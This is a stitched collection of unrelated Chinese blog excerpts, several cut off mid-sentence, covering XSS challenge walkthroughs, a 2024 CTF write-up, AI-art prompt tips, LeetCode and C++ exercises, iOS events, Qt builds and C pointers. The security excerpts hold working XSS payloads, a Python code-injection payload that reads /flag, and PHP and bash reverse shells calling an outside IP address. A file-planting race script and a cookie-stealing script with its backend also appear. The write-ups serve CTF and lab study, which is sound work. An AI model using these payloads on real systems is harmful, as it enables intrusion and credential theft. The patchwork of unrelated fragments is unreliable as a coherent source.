XSS小游戏(题目+解析)DOM破坏!!!

文章目录 一、Ma Spaghet!二、Jefff三、Ugandan Knuckles四、Ricardo Milos五、Ah That's Hawt六、Ligma七、Mafia方法一:可以用匿名函数来试试方法二:利用toString方法方法三:利用location和hash切片slice 八、Ok, Boomer九、svg十、DOM破坏十一、WW3 xss题目练习地址: xss小游戏 游戏界面 一、Ma Spaghet! 我将题目要求进行翻译: 题目的主要要求就是:弹出一个(1337)的弹窗 开始解题: Let’s Go! 首先,传个参数看看 发现参数直接显示在了 < h2 > 标签里面了,肯定是有问题的。 回看一下代码: 用的是innerHTML,这个就是解题的关键,它里面有一个威胁标签,官方将其禁用了,就是 < script > 但是也只是禁用了这一个标签,所以换一个就行了用 < img > 试试: 成功! 绕过代码: ?somebody=<img src="1" onerror="alert(1337)"> 二、Jefff 看代码知道: "Ma name ${jeff}" 这个值赋值给了ma,然后在1秒的睡眠后,在页面输出 那么就正常的绕过思路(用双引号绕过,然后注释掉后面的引号): 成功! 绕过代码: ?jeff=1";alert(1337);// 也可以用另一种方法,也和上面这个方法差不多(换个表示方法): 代码: ?jeff=1"-alert(1337);-" 三、Ugandan Knuckles 看代码加了点限制; wey = wey.replace(/[<>]/g, '') 他过滤了尖括号,然后放在了input位置 那么这里就要使用一个方法了: onfocus :焦点(获取焦点事件) input天生就有焦点事件: 如上图(红框) 鼠标在上面移动时,显示的就是焦点 同时还要搭配另一个方法:autofocus (自动聚焦)

【Web】巅峰极客2024 部分题解

目录 EncirclingGame GoldenHornKing php_online admin_Test EncirclingGame 玩赢游戏就行 GoldenHornKing 利用点在传入的app 可以打python内存马 /calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app}) 访问./flag 也可以挂载静态文件 /calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app}) 访问./static/flag php_online 先起一个id为aaaaaaa1的沙箱,反弹shell <?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?> 再起一个id为aaaaaaa2的沙箱,使得/sandbox/aaaaaaa2存在 再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在 init.py 中的logging会优先应用同目录下的logging.py,而非logging三方库 echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py echo "while true; do" >> /tmp/exp.sh echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh echo "done" >> /tmp/exp.sh chmod +x /tmp/exp.sh sh /tmp/exp.sh 运行sh脚本后再进入aaaaaaa2环境,随便传一个<?php echo 1;?

AI作画提示词工程:技巧与最佳实践

在AI作画中,提示词工程(Prompt Engineering)是生成高质量图像的关键一步。以Midjourney为例,通过巧妙设计提示词,AI能够生成更符合预期的图像。本教程将分享如何有效利用提示词,掌握提示词的技巧与最佳实践,助你在AI作画中获得更好效果。 1. 理解提示词的基本结构 提示词通常由三个部分组成:主题、细节描述 和 风格。合理组合这三部分,可以最大限度地引导AI生成你想要的图像。 • 主题:这是提示词的核心内容,决定了图像的主体。例如,“未来城市”作为主题,可以引导AI生成科幻风格的城市景观。 • 细节描述:进一步细化主题,提供颜色、材质、光线等信息。例如,“未来城市,霓虹灯,漂浮的汽车”将帮助AI生成带有这些特征的图像。 • 风格:决定图像的艺术风格,如“赛博朋克”、“印象派”或“极简主义”。例如,“赛博朋克风格的未来城市”将生成具有未来科技感的图像。 2. 提示词的语法与结构 Midjourney的提示词解析方式与普通语言略有不同。理解提示词的语法,可以更好地控制生成的图像。 • 逗号:用于分隔不同的描述部分,帮助AI理解各部分的独立性。例如,“未来城市,霓虹灯” 会比“未来城市霓虹灯”生成更加分明的图像。 • 分号:表示更强的分隔,通常用于定义完全不同的元素。例如,“未来城市;远处的山脉” 会将城市和山脉视为不同的部分处理。 • 关键词顺序:提示词中词语的顺序也影响AI的理解。靠前的关键词通常被赋予更高的优先级。 案例: 未来城市,霓虹灯,赛博朋克风格 Futuristic city, neon, cyberpunk 这个提示词会生成一个具有未来感且充满霓虹灯元素的赛博朋克城市。 3. 掌握提示词权重 在Midjourney中,通过调整提示词的权重,可以对图像的某些特征赋予更大的影响力。使用括号“()”可以提升某个描述的重要性,使用“::”可以更精确地调整权重。 • 括号:例如,“未来城市,(霓虹灯)” 中霓虹灯的权重会比不加括号时更高。 • 双冒号:可以为具体的词汇赋予数值权重,如“未来城市::2,霓虹灯::0.5”,数值越高,影响力越大。 案例: 未来城市::1.5,霓虹灯::0.8,赛博朋克风格 Future City ::1.5, Neon ::0.8, Cyberpunk style 这个提示词会使未来城市的权重更大,生成的图像中城市元素更加突出。 4. 使用修饰词提升图像质量 修饰词让提示词更加具体,生成的图像也更符合预期。 • 色彩修饰:如“蓝色的天空”、“金色的阳光”,为图像添加色彩元素。 • 质感修饰:如“柔和的光”、“粗糙的表面”,为图像赋予质感。 • 动态修饰:如“流动的水”、“飞舞的叶子”,为图像注入动态感。 案例: 未来城市,霓虹灯,赛博朋克风格,蓝色的天空,金色的阳光 Futuristic city, neon, cyberpunk, blue sky, golden sunshine 这个提示词通过添加色彩修饰,让生成的图像更加生动。

LeetCode //C - 316. Remove Duplicate Letters

316. Remove Duplicate Letters Given a string s, remove duplicate letters so that every letter appears once and only once. You must make sure your result is the smallest in lexicographical order among all possible results. Example 1: Input: s = “bcabc” Output: “abc” Example 2: Input: s = “cbacdcbc” Output: “acdb” Constraints: 1 < = s . l e n g t h < = 1 0 4 1 <= s.

算法【Java】 —— 滑动窗口

滑动窗口 在上一篇文章中,我们了解到了双指针算法,在双指针算法中我们知道了前后指针法,这篇文章就要提到前后指针法的一个经典的使用 —— 滑动窗口,在前后指针法中,我们知道一个指针在前,一个指针在后,但是两个指针都是向前移动,如果两个指针之间的元素或者下标之间的差值有一些别的作用或者含义的时候(本质上就是子数组或者子串),我们会使用到滑动窗口这个算法思想,下面以第一道例题为引例。 题目实战 引例 —— 长度最小的子数组 https://leetcode.cn/problems/minimum-size-subarray-sum/ 这道题目要求我们找到最少元素构成的子数组之间所有的数据总和大于等于 target , 也就是找子数组的题目,如果使用暴力美学,那么就需要枚举出所有的子数组,然后进行比较,时间复杂度为 O(N ^ 2) 暴力美学也是使用的是前后指针法,但是由于没有利用好递增关系,所以你也可以认为滑动窗口也是前后指针法的进阶,我们先这样看,使用一个指针遍历数组,然后使用 count 来统计遍历过的元素之和,由于数组的元素是正整数,所以 count 会随着 指针的移动而增加,在数学上,我们认为这是一种递增关系。 这样我们可以先让一个指针遍历数组(这个可以叫进窗口),直到 count >= target 的时候,就需要更新最短的长度,以及让 后指针 向前移动(这个可以叫出窗口),直到 count < target,此时这个循环会让count 减小,这也就让长度减小,所以要在循环中也顺便更新最短的长度。这就是滑动窗口的思路 思考为什么前指针不需要后退,而是直接向前遍历即可? 在暴力美学中,前指针都是回到后指针前一个位置,然后开始继续向前遍历计算新的 count,但是由于具有递增关系,前指针回退是没有必要的,因为已经计算好当前的 count 了,你的回退反而浪费原本的count 这个数值。只需要继续向前遍历即可,我们这个 count 在滑动窗口是动态变化的,根据前指针移动而增加,根据后指针移动而减少。 所以滑动窗口是对前后指针法的暴力美学的优化 在思考问题的时候,我们优先会想到暴力美学,因为它直观也容易想到,如果符合滑动窗口的特性,我们就可以尝试优化。 总结一下滑动窗口的算法思想: 1.进窗口 2.出窗口 3.更新答案(下面是说成数据)(根据题意调整具体位置) 时间复杂度为O(2N) = O(N) class Solution { public int minSubArrayLen(int target, int[] nums) { int len = nums.length; int count = 0; int ans = Integer.

【iOS】——响应者链和事件传递链

事件传递 事件传递流程 发生触摸事件后,系统会将该事件封装成UIEvent对象加入到一个由UIApplication管理的事件队列 UIApplication会从事件队列中取出最前面的事件,并将事件分发下去以便处理,通常,先发送事件给应用程序的主窗口(keyWindow)。 主窗口会调用hitTest:withEvent: 方法沿着视图层次结构从上到下进行传递最后在视图层次结构中找到一个最合适的视图来处理触摸事件,这也是整个事件处理过程的第一步 找到合适的视图控件后,就会调用视图控件的touches方法(touchesBegan、touchesMoved、touchedEnded)来作具体的事件处理 触摸事件的传递是从父控件传递到子控件 也就是UIApplication->window->寻找处理事件最合适的view 触摸事件的传递是从父控件传递到子控件,如果父控件不能接受触摸事件,那么子控件就不可能接收到触摸事件 如何找到最合适的控件来处理事件? 自己是否能接收触摸事件? 触摸点是否在自己身上? 从后往前遍历子控件,重复前面的两个步骤 如果没有符合条件的子控件,那么就自己最适合处理 UIView不接收触摸事件的三种情况: userInteractionEnabled = NO隐藏 hidden = YES; 透明:alpha = 0.0 ~ 0.01; 通过pointInside:withEvent 方法判断触摸点是否在自己身上。返回NO则不在自己身上,那就不再遍历子控件,返回YES,代表在自己身上,那就继续遍历子控件,从后往前遍历子控件,重复前面两个步骤如果没有符合条件的子控件,那么自己就是最适合处理的控件找到“最合适” 接收的控件后,调用控件touchesBegan,touchesMoved,touchedEnded的方法。 事件传递示例: 点击了绿色的view:UIApplication -> UIWindow -> 白色 -> 绿色 点击了蓝色的view:UIApplication -> UIWindow -> 白色 -> 橙色 -> 蓝色 点击了黄色的view:UIApplication -> UIWindow -> 白色 -> 橙色 -> 蓝色 -> 黄色 寻找最合适的控件底层剖析 这里用到了两个重要的方法: - (UIView *)hitTest:(CGPoint)point withEvent:(UIEvent *)event; - (BOOL)pointInside:(CGPoint)point withEvent:(UIEvent *)event; hitTest:withEvent 只要事件一传递给一个控件,这个控件就会调用他自己的hitTest:withEvent:方法

《C/C++实战专栏》介绍

🚀 前言 本文是《C/C++实战进阶》专栏的说明贴(点击链接,跳转到专栏主页,欢迎订阅,持续更新…)。 专栏介绍:以多年的开发实战为基础,总结并讲解一些的C/C++基础与项目实战进阶内容,以图文并茂的方式对相关知识点进行详细地展开与阐述!专栏覆盖了C/C++领域多个方面的内容,包括C++基础及编程要点(模版泛型编程、STL容器及算法函数的使用等)、C++11及以上新特性(不仅看开源代码会用到,日常编码中也会用到部分新特性,面试时也会涉及到)、常用数据结构与算法、代码分享(调用系统API、使用开源库)、常用C++开源库的介绍与使用、代码分享(调用系统API、使用开源库)、常用编程技术(动态库、多线程、多进程、数据库及网络编程等)、软件UI编程(Win32/duilib/QT/MFC)、C++软件调试技术(排查软件异常的手段与方法、分析C++软件异常的基础知识、常用软件分析工具使用、实战问题分析案例等)、设计模式、网络基础知识与网络问题分析进阶内容等。 本专栏的内容都是建立在项目实践的基础上,很有实战参考价值!在这里,你将学到大量通过实践总结出来的C++相关知识与技能! 专栏适用人群:适合基础进阶和想做技术提升的C++开发人员! 本专栏是接下来要重点打造的技术专栏,目前专栏文章已经更新到400多篇,还在持续的更新中,欢迎订阅! 专栏文章还在持续更新 ing… 如果文章有用,可以点赞、收藏、关注,也可以订阅专栏! 🔰 专栏内容 本专栏主要包含以下多个方面的内容:(本专栏涵盖了多方面的内容,订阅本专栏,你将获取如下这些全面的内容!本专栏融合了本人多个专栏的内容,订阅了本专栏,相当于订阅了多个专栏!) 📢 1、C++ 专栏开篇就系统地介绍了C/C++的学习路线,并给出了学习C/C++经典书籍推荐!本部分结合项目实践和经验,讲解一些日常工作中常用的C++要点知识(比如常用关键字、预编译指令、编程技巧等)以及一些需要重点关注的内容。比如会讲到模板函数与模板类等泛型编程、日常编码中常用的STL标准模板库的内容(比如如何使用STL算法函数提高STL容器列表的遍历效率、使用STL容器时哪些场景下容易产生异常)、C语言SEH结构化异常中的异常捕获__try…__except、C++中的异常捕获try…catch等。 📢 2、C++11及以上新特性 C++11是C++发展史上一次里程碑的更新,引入了大量的新特性(引入一些新的关键字、左值右值、左值引用、右值引用、移动语义、完美转发、匿名函数、智能指针、并发编程等),极大地扩展了C++的应用范围和表达能力,开启了现代C++时代。此后,C++标准化组织又陆续推出了C++14、C++17和C++20新特性,这些新特性相对C++11要少很多,都是在C++11基础上的锦上添花。 我们需要重点掌握C++11的新特性。很多C++开源代码积极拥抱C++11及以上的新特性,比如大型开源库WebRTC,大量地使用了C++11及以上的新特性。所以,我们在阅读开源代码时要熟悉C++11等新特性。在日常项目开发过程中也会或多或少地使用C++11新特性(比如常用关键字auto、匿名函数、智能指针等)。此外,通过近几年的观察,C++11新特性已成为很多公司面试时必问的内容。所以,学习C++11新特性很有必要,不仅学习阅读开源代码时会用到,日常工作中也会或多或少地用到,而且面试时也会涉及到。 C++新标准引入的诸多新特性,解决了语言上的部分缺陷,使得C++更得加高效灵活!但也使得C++变得更加臃肿复杂,更加难以驾驭! 强烈推荐大家去看看Google的C++代码风格指南(Google C++ Style Guide),其中讲到了大量的C++老特性与新特性。有国内程序员翻译而来的中文版本,可以去https://github.com/zh-google-styleguide/zh-google-styleguide下载中文版本pdf文档(不仅仅有C++风格指南,还有Objective-C、Shell、JavaScript、Python、TypeScript这些语言的风格指南)。也可以去网址https://google.github.io/styleguide查看原汁原味的英文版本(英文原版还有更多语言的风格指南)。 本指南的目的是通过详细阐述 C++ 注意事项来驾驭其复杂性。这些规则在保证代码易于管理的同时,也能高效使用 C++ 的语言特性(讲到了大量的C++新特性)。 本指南不仅仅是编码规范,它列出了你要怎么做, 还告诉你为什么要这么做,哪些情况下可以不这么做,以及如何权衡其利弊。 📢 3、C++开源库介绍与使用 会介绍一些常用的开源库,介绍如何去使用常用的开源库(比如如何去调用接口、使用开源库的要点及注意点、使用开源库的问题排查与经验总结)、如何去编译一些开源库、如何使用开源库去搭建一些简单可用的应用系统,并给出项目中使用的部分实例。 常见的开源库有SQLite、libcurl、libwebsockets、libevent、boost、jsoncpp/RapidJson、Redis、RabbitMQ、MongoDB、MQTT、ZooKeeper、OpenCV、FFmpeg、SDL、GStreamer、Live555、Nginx、ReactOS等: 1)处理json的jsoncpp、RapidJson库(json串的构建与解析)。 2)处理xml的TinyXML库(XML串的构建与解析)。 3)支持SMTP/HTTP/HTTPS等多协议网络传输开源库libcurl库(使用SMTP协议发送邮件、使用HTTP/HTTPS发起HTTP请求)。 4)处理文件压缩与解压缩的zip.cpp和unzip.cpp(支持文件的压缩与解压)。 5)二维码生成库libqr(生成二维码图片)。 6)png图片处理库libpng(读写png图片)。 7)图片读取解析库stb_image(图片读取与解析)。 8)实现websocket通信的libwebsockets库(客户端与服务器之间进行websoket通信)。 9)轻量级开源数据库SQLite(存放本地数据)。 10)多媒体处理开源库FFmpeg(包含音视频采集与编码、音视频解码、视频格式转换、视频抓图、给视频加水印等功能)。 11)实时音视频处理开源库WebRTC(包含音视频采集、编码、网络传输,解码显示等)。 12)Chromium嵌入式框架开源库CEF(嵌入浏览器控件)。 13)跨平台多媒体开发库SDL库(音视频采集、编码、解码显示等)。 14)数据实时压缩解压库zlib(对字节流数据进行实时的压缩与解压缩)。 15)异常捕获库CrashRpt/CrashPad(捕获软件运行过程中的异常)。 16)开源操作系统ReactOS(查看系统源码,可作为Windows系统代码实现的参考,有时能可以通过查看系统函数的实现去辅助解决问题)。 17)网络通信库boost、muduo和libevent等。 18)计算机视觉和机器学习库OpenCV(用于实时的图像处理和计算机视觉任务,包括图像和视频捕捉、面部识别、物体检测、运动分析、3D重建、机器学习以及图像分类等)。 19)目标检测Yolo(实时目标检测算法,可以检测物体的类别和位置,用于智能监控、自动驾驶、机器人视觉等领域)。 20)高性能消息队列中间件 RabbitMQ(提供统一消息服务的应用层标准高级消息队列协议,用于组件或模块之间传递消息)。 21)开源数据结构存储系统Redis(一个开源的、使用C语言编写的、支持网络、可基于内存亦可持久化的日志型、Key-Value数据)。 22)分布式的,开放源码的分布式应用程序协调服务ZooKeeper(它用来帮助分布式系统中的各个节点进行信息共享和同步,确保数据一致性;也用来用来存储和管理分布式系统的配置信息,如集群中的机器配置、服务地址配置等)。 23)非关系型文档数据库Mongodb(它是一种开源的、面向文档的数据库,它使用 BSON(Binary JSON)格式存储数据,提供了灵活的文档模型,能够存储复杂的数据类型,并支持丰富的查询语言,用于多个领域中) 24)轻量级的、基于发布/订阅模式的物联网通信协议MQTT(MQTT是一种轻量级的消息传输协议,它采用发布/订阅模式,允许设备之间通过Topic主题进行通信。MQTT有支持多种开发语言的多种实现库,主要使用这些协议实现库)。 25)多媒体框架GStreamer(用于创建流媒体应用程序,以及处理各种媒体类型的数据流,包括音频、视频等) 26)流媒体来源库Live555(主要用于实现基于RTP实时传输协议和RTSP实时流协议媒体流的发送和接收,广泛应用于网络摄像头、IPTV、视频会议等需要实时传输音视频数据的领域)。 一般我们只需要会使用这些开源库即可,至于开源库内部源码的实现与内部实现机制,可以根据个人兴趣去查看学习。 学习开源库的代码,可以了解开源库内部的业务逻辑,也可以学习开源库的编程思想,后面在使用开源库时会更加得心应手。 📢 4、常用代码分享 会分享一些日常工作中常用功能的实现代码,代码经过项目验证,可以直接拿去使用。比如如何调用系统API去实现一些功能、如何使用libcurl、zlib、zip.

【信息学奥赛一本通】1008:计算(a+b)/c的值

1008:计算(a+b)/c的值 时间限制: 1000 ms 内存限制: 66536 KB 提交数:164836 通过数: 142434 【题目描述】 给定3个整数a、b、c,计算表达式a+bc的值。 【输入】 输入仅一行,包括三个整数a、b、c, 数与数之间以一个空格分开。(-10,000<a,b,c<10,000, c不等于0) 【输出】 输出一行,即表达式的值。 【输入样例】 1 1 3 【输出样例】 0 #include<iostream> using namespace std; int main() { int a,b,c; cin>>a>>b>>c; cout<<(a+b)/c<<endl; return 0; }

【信息学奥赛一本通】1007:计算(a+b)×c的值

1007:计算(a+b)×c的值 时间限制: 1000 ms 内存限制: 65536 KB 提交数:184662 通过数: 150473 【题目描述】 给定3个整数a、b、c,计算表达式(a+b)×c的值。 【输入】 输入仅一行,包括三个整数a、b、c, 数与数之间以一个空格分开。(-10,000<a,b,c<10,000) 【输出】 输出一行,即表达式的值。 【输入样例】 2 3 5 【输出样例】 25 #include<iostream> using namespace std; int main() { int a,b,c; cin>>a>>b>>c; cout<<(a+b)*c<<endl; return 0; }

web常见漏洞——XSS

xss 1、xss概述2、环境工具3、反射型xss3.1、利用反射型xss获取cookie 4、DOM型xss4.1、第一关4.2、第二关4.3、第三关4.4、第四关4.5、第五关4.6、第六关4.7、第七关4.8、第八关 5、存储型xss 1、xss概述 XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等,xss又分为了三种类型分别为存储型、反射型、DOM型,其中存储型危害最大。 2、环境工具 phpstudy pikachu靶场 pwnfunction的xss靶场 3、反射型xss 反射型xss攻击是具有一次性的,只在用户单击时触发,攻击者发现一个具有反射型xss漏洞的网站,通过恶意构造链接发送给用户诱导用户点击,用户进行请求就会通过服务端反射回来而使攻击者获取到用户的数据例如cookie,或者是钓鱼攻击,这里举一个简单的例子 这里有一个输入点,我们可以看到在输入框内输入的内容会直接显示到P标签里面 那么我们可以尝试一下使用一个js语句看能否显示 这样就能够成功显示,这就是一个简单的xss放射型漏洞 3.1、利用反射型xss获取cookie 知道了简单的反射型原理,那么如何利用这个漏洞获取用户cookie呢 首先我们构建一个xss后台,这里使用的是pikachu的xss后台 <?php if(isset($_GET['cookie'])){ $time=date('Y-m-d g:i:s'); $ipaddress=getenv ('REMOTE_ADDR'); $cookie=$_GET['cookie']; $referer=$_SERVER['HTTP_REFERER']; $useragent=$_SERVER['HTTP_USER_AGENT']; $query="insert cookies(time,ipaddress,cookie,referer,useragent) values('$time','$ipaddress','$cookie','$referer','$useragent')"; $result=mysqli_query($link, $query); } header("Location:http://127.0.0.1/pikachu/index.php");//重定向到一个可信的网站 通过这个获取cookie的后端代码可以看到基本的运行逻辑,通过得到恶意链接获取的cookie并且添加到后端数据库中,并且让用户重定向到其当前页面不让用户有所察觉 <script>document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script> 上面就是我们构造的恶意链接用户进行点击 1、用户点击 2、重定向到主页面 3、后台获取cookie 4、DOM型xss 要知道dom型xss就需要知道什么是DOM,DOM是文档对象模型,是直接由HTML文档的对象表示,DOM树的根节点是“Document”对象,所以可以明白DOM型xss是不会和后端打交道的,它是基于DOM文档对象的一种漏洞并且都是基于JavaScript的,其主要特点就是不会和服务器端进行交互所以很难被查到。这里利用pwnfunction的靶场做演示 4.1、第一关 <h2 id="spaghet"></h2> <script> spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!" </script> 网页代码如上,其功能就是获取用户的输入,并写入h2标签内部

linux arm64 Qt6/PySide6 WebEngine 支持 webrtc -h264 编译参考

背景 客户端程序,需要运行在国产化机器上,程序里有web模块,并且需要播放webrtc的视频 使用的qt6开发,默认的浏览器插件qtwebengine是不支持webrtc,需要自己手动编译源码 编译版本 QT 6.7.1 成果 运行环境 银河麒麟V10 aarch64 参考文档 Supported Platforms | Qt 6.7 Qt WebEngine Platform Notes | Qt WebEngine 6.7.1 Ubuntu 20.04 环境下编译 qtwebengine 6.4.0 以支撑MP4解码 - 简书 (jianshu.com) can't build webengine on linux arm64, error msg: Error: selected processor does not support `xpaclri | Qt Forum 总结需要安装库: apt install bison build-essential clang flex gperf apt install libxcb-cursor-dev libfreetype-dev apt install libatspi2.0-dev libbluetooth-dev libclang-dev libcups2-dev libdrm-dev apt install libegl1-mesa-dev libfontconfig1-dev libfreetype6-dev apt install libgstreamer1.

AI作画提示词(Prompts)工程:指南与实践技巧

AI作画技术正在革新艺术创作的方式,通过精确的提示词,我们可以激发AI的潜能,创作出令人惊叹的艺术品。本指南将带您了解如何编写有效的提示词,以实现您的艺术构想。 在本教程中,我们将深入探讨如何编写AI作画的提示词,以引导人工智能创作出具有艺术性和创意性的作品,通过一系列详细的步骤和实践技巧,您将学会如何精确地表达您的创意愿景。 AI作画技术背景 AI作画技术通常基于深度学习模型,这些模型能够学习艺术作品的特征,并根据提示词生成新的图像。了解这些技术的原理有助于我们更好地与AI合作。 描述语编写的详细步骤 1. 明确主题与概念 选择一个清晰的主题,如“孤独的夜空”。思考您想要传达的核心概念,如“孤独”、“宁静”。 2. 确定艺术风格 选择一个艺术风格,如“超现实主义”,并考虑如何通过语言描述这种风格的特征。 3. 情感与氛围的设定 描述您希望作品传达的情感,如“沉思”或“神秘”,并考虑如何通过色彩和构图来强化这种情感。 4. 色彩与光影的构思 详细描述作品的色彩方案,如“深蓝色夜空与银色星光”,以及光影效果,如“月光下的柔和阴影”。 5. 构图与视觉焦点 规划作品的构图,确定视觉焦点和辅助元素的位置,如“夜空中的明亮星星作为焦点”。 6. 细节与特征的描写 添加具体的细节,如“星星的闪烁”或“云层的流动”,以增强作品的真实感。 7. 抽象与象征元素 考虑加入抽象或象征性的元素,如“时间的流逝”或“梦想的飞翔”。 8. 使用诗意与隐喻 运用诗意的语言和隐喻来增强描述的感染力,如“夜空是梦想的画布”。 9. 反馈与迭代过程 生成初步作品后,根据结果进行反馈,调整描述语以获得更好的效果。 10. 技术与工具的运用 了解并运用不同的AI作画工具和技术,以实现最佳的创作效果。 实践技巧与示例 示例一:一个明亮、空灵的身影漂浮在繁星点点的宇宙中,全神贯注地看着一本光芒四射的书。 描述语:在令人叹为观止的星空奇观中,一个发光、飘渺的身影毫不费力地漂浮在星光熠熠的宇宙中。这个身影手握一本闪闪发光的书,似乎完全沉浸在阅读中,不受周围宇宙奇观的干扰。周围的星星和星云提供了绚丽的背景,投射出一种超凡脱俗的光芒,凸显了这位沉浸在文学中的宇宙旅行者的轮廓和宁静。 示例二:在金色夕阳的映衬下,一根精致的白色羽毛轻轻地栖息在一只伸出的手上。 描述语:在这片宁静的场景中,一根白色的羽毛完美地平衡在一只张开的手掌上。在落日的映衬下,这只手优雅地呈现在眼前,温暖的金色光线笼罩着整个场景。这一宁静的时刻捕捉到了和平与温柔的本质,象征着纯洁和轻盈。柔和的光线凸显了羽毛的复杂细节,强调了它的精致之美以及自然与人类的微妙互动。 示例三:日落时分,一位孤独的牛仔骑着马穿过布满高大仙人掌的沙漠景观。 描述语:在落日的暖光中,一位孤独的牛仔骑着马穿越广阔的沙漠,沙漠上点缀着高耸的仙人掌。大地沐浴在金色色调中,突显出荒野的野性之美。牛仔沿着尘土飞扬的小路静静地前行,阳光下的剪影唤起了一种冒险的感觉和美国西部永恒的精神。 示例四:一位专注的年轻女子在堆满纸张的书桌前认真学习、记笔记。 描述语:在安静的办公室里,一位身着深色毛衣的长发年轻女子正专心致志地学习。她熟练地记着笔记,似乎全神贯注于工作。她周围的桌子上堆满了无数的纸张和教科书,表明她正在认真地学习。柔和的灯光增强了她的专注力,这一场景捕捉到了专注学习和学术追求的本质。 示例五:在舒适的图书馆里,一位戴着眼镜、若有所思的年轻女子正专心地用平板电脑阅读。 描述语:在一间灯光柔和的图书馆里,一位戴着眼镜的年轻女子正专心致志地阅读平板电脑上的阅读材料。她的表情专注而好奇,表明她正全神贯注地投入学习或研究一个重要的课题。背景中的书籍增添了学术氛围,凸显了她的学术环境。 示例六:日落时分,四个朋友围坐在桌旁,举起酒杯,庆祝胜利。 描述语:在日落时分,四位好友在温暖的灯光下,俯瞰着城市天际线,围坐在高层建筑的餐桌旁。当他们举起酒杯举杯庆祝时,金色的灯光突显了他们聚会的喜悦和温暖。在充满活力的交谈和欢笑声中,这一刻体现了友谊和庆祝的本质。 编写有效的AI作画提示词需要对艺术、情感和技术有深刻的理解,通过本指南的学习和实践,您将能够更精确地表达您的创意愿景,并与AI共同创作出令人难忘的艺术作品。

Configuring the Cisco IOS XE DHCP Relay Agent

Cisco routers running Cisco IOS XE software include Dynamic Host Configuration Protocol (DHCP) server and relay agent software. A DHCP relay agent is any host that forwards DHCP packets between clients and servers. This module describes the concepts and tasks needed to configure the Cisco IOS XE DHCP relay agent. Specifying the Packet Forwarding Address Perform this task to configure the DHCP relay agent to forward packets to a DHCP server.

防止内存泄漏的神兵利器 — 智能指针

1.内存泄漏 1.1什么是内存泄漏 当我们在写C/C++程序的时候,难免会出现内存泄漏的错误,因为C/C++不像Java语言那样,拥有自己的垃圾回收机制,C/C++中对于资源的管理,完全交给程序员自己打理,也就是说使用C/C++的程序员可以直接和内存打交道,写出来的程序效率自然比其他语言的运行速度更快,这是C++的优点,但同样也是C++的缺点,因为,我们难以保证我们是否正确释放了不在使用的资源。比如:当我们因为疏忽大意而忘记释放不在使用的程序;又或者是我们记得释放不再使用的资源,但,因为程序中的执行流乱跳而导致程序没有执行到释放资源的代码;这个时候就会造成内存泄漏。内存泄漏简单来说就是 未释放不再使用的内存资源。 内存是一种有限的资源,使用完之后放回原处(还给操作系统),当程序中其他地方还需要使用的时候,直接向操作系统申请即可;但是,如果使用完之后没有放回原处(未还给操作系统),当其他程序向操作系统申请内存空间的时候,操作系统就会左拼右凑给该程序分配一块内存空间,但是当有非常巨大的内存空间没有还给操作系统时,操作系统就会很尴尬的说,“不好意思,没有,哪个谁谁谁还没还给我呢”,这个时候就会造成程序运行缓慢,严重的话还会造成程序卡死。所以我们应当避免内存泄漏。 1.2如何防止内存泄漏 通常来说,我们申请的内存资源,在不使用的时候记得释放即可,类似于一下代码 int* func() { int* ptr = new int[10]; // 申请资源 return ptr; } int main() { int* ptr = func(); delete[] ptr; // 释放资源 return 0; } 但是总有一些特殊情况,比如在使用异常的时候,当捕获异常之后,程序执行流直接跳转到匹配的catch语句块中执行,如果在这之间跳过了释放资源的代码语句,就会造成资源泄漏问题;如以下代码: int divi(int a,int b) { if (0 == b) throw "处零错误"; return a / b; } void func() { int* ptr = new int; divi(4,0); cout << "释放资源" << endl; delete ptr; } int main() { try { func(); } catch (.

C:指针学习-指针变量—学习笔记

今日伊雷娜: 目录 前言: 1、字符指针变量 1.1 使用字符指针存放字符 1.2 使用字符指针变量存放字符串 2、数组指针变量 2.1 什么是数组指针变量? 2.2 数组指针变量初始化 2.3 关于数组指针类型的解析 3、函数指针变量 3.1 函数地址 3.2 函数指针变量的创建 3.3 关于指针的连续定义 3.4 函数指针变量的使用 3.5 补充函数调用 前言: 本篇文章涉及字符指针变量,数组指针变量,函数指针变量,以及函数指针数组。 1、字符指针变量 在指针类型中我们知道有一种指针类型叫char* 1.1 使用字符指针存放字符 #include <stdio.h> int main() { char ch = 'l'; char* pc = &ch;//取出ch的地址放到ch里 *pc = 'l'; return 0; } pc为字符指针变量,指针变量是变量,存放的是字符,类型是char* 关于字符指针变量还有另外一种用法。也就是存放字符串。 1.2 使用字符指针变量存放字符串 char* p = "JonlyMay";//字符指针p指向了一个字符串 这句代码的意思是什么呢?是把 "JonlyMay"字符串存放到指针变量p 中吗? 重点:p 中存放的是该字符串首字符的地址 我们来与数组类比理解 char* p = "JonlyMay"中是将首元素地址赋给字符指针变量p:

【数据结构】数据结构 知识总复习

